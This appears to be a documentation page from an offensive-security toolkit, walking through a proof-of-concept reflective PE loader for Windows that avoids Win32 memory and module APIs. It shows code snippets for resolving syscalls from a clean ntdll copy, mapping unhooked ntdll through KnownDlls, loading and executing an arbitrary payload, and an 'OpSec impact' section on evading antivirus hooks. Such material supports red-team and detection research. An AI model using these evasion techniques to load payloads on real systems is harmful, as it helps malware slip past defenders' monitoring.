Files
youssefnoob003-SindriKit/docs/examples/loader_nowinapi.md
T
sibouzitoun aea2eb6cfb Release v1.1.0: Process Injection & Architecture Hardening
- Implement complete cross-process injection engine via snd_inj_ctx_t
- Track explicit remote_entry_point for safe thread hijacking and PE execution
- Refactor standalone syscall resolvers into a unified pipeline (scan/sort)
- Perfect status code system by purging generic fallbacks in favor of highly-specific, domain-aware error codes
- Fix minor pointer validation and parsing bugs in the reflective loader
2026-06-28 14:14:54 +01:00

3.0 KiB

PoC: loader_nowinapi

Location: pocs/loader_nowinapi/

Evasive local reflective loading without Win32 memory/module APIs. Uses NT API resolution (snd_mem_nt, snd_mod_nt) after bootstrapping the syscall pipeline with a clean ntdll base.

What it demonstrates

  • Syscall pipeline bootstrap (snd_syscall_set_ntdll, cascading resolvers)
  • Same loader chain as loader_winapi with different injected API tables
  • Three commented alternatives for obtaining ntdll (disk, PEB, KnownDlls)
  • DLL export FFI (-e/-a) identical to the Win32 PoC

Command-line usage

Same flags as loader_winapi:

loader_nowinapi -f <payload_path> [-e <export_name>] [-a <arg>]...

Walkthrough

1. Bootstrap ntdll for syscall resolution

The PoC loads ntdll.dll from disk into a buffer and registers it as the syscall scan base:

snd_buffer_t ntdll_buf = {0};
status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
PVOID ntdll = ntdll_buf.data;

snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);

Commented alternatives in pocs/loader_nowinapi/main.c (swap in for different OpSec trade-offs):

// PEB walk — no disk read (correct API):
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);

// KnownDlls — unhooked section mapping
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);

Note

The commented PEB block in source currently calls snd_peb_get_module_base(SND_HASH_NTDLL_DLL, …) — that is incorrect (first argument must be a wide module name, not a hash). Use snd_peb_get_module_base_hash as shown above.

2. Inject NT primitives

ctx.mem_api = &snd_mem_nt;   // NtAllocateVirtualMemory via PEB + EAT
ctx.mod_api = &snd_mod_nt;   // PEB walk + manual export parsing

Note

This PoC uses _nt backends, not _sys. The syscall pipeline is bootstrapped so you can swap ctx.mem_api to &snd_mem_sys without other changes. See inject_pe.md for a full _sys profile.

3. Load, prepare, execute

status = snd_disk_buffer_load(file_path, &file_buf);
ctx.raw_source = &file_buf;

status = snd_ldr_pe_prepare_image(&ctx);
status = snd_ldr_pe_execute_image(&ctx);

// Optional DLL export via snd_ldr_pe_get_proc_address + snd_ffi_execute

4. Cleanup

snd_ldr_pe_detach_image(&ctx);
snd_ldr_pe_free_mapped_image(&ctx);
snd_buffer_free(&file_buf);

Building

cmake -B build -DSND_BUILD_PAYLOADS=ON
cmake --build build --config Release

OpSec impact

Avoids VirtualAlloc, LoadLibraryA, and GetProcAddress. Memory and imports still execute through in-process ntdll stubs (inline hooks may fire). Disk read of ntdll.dll may be logged by AV.

See also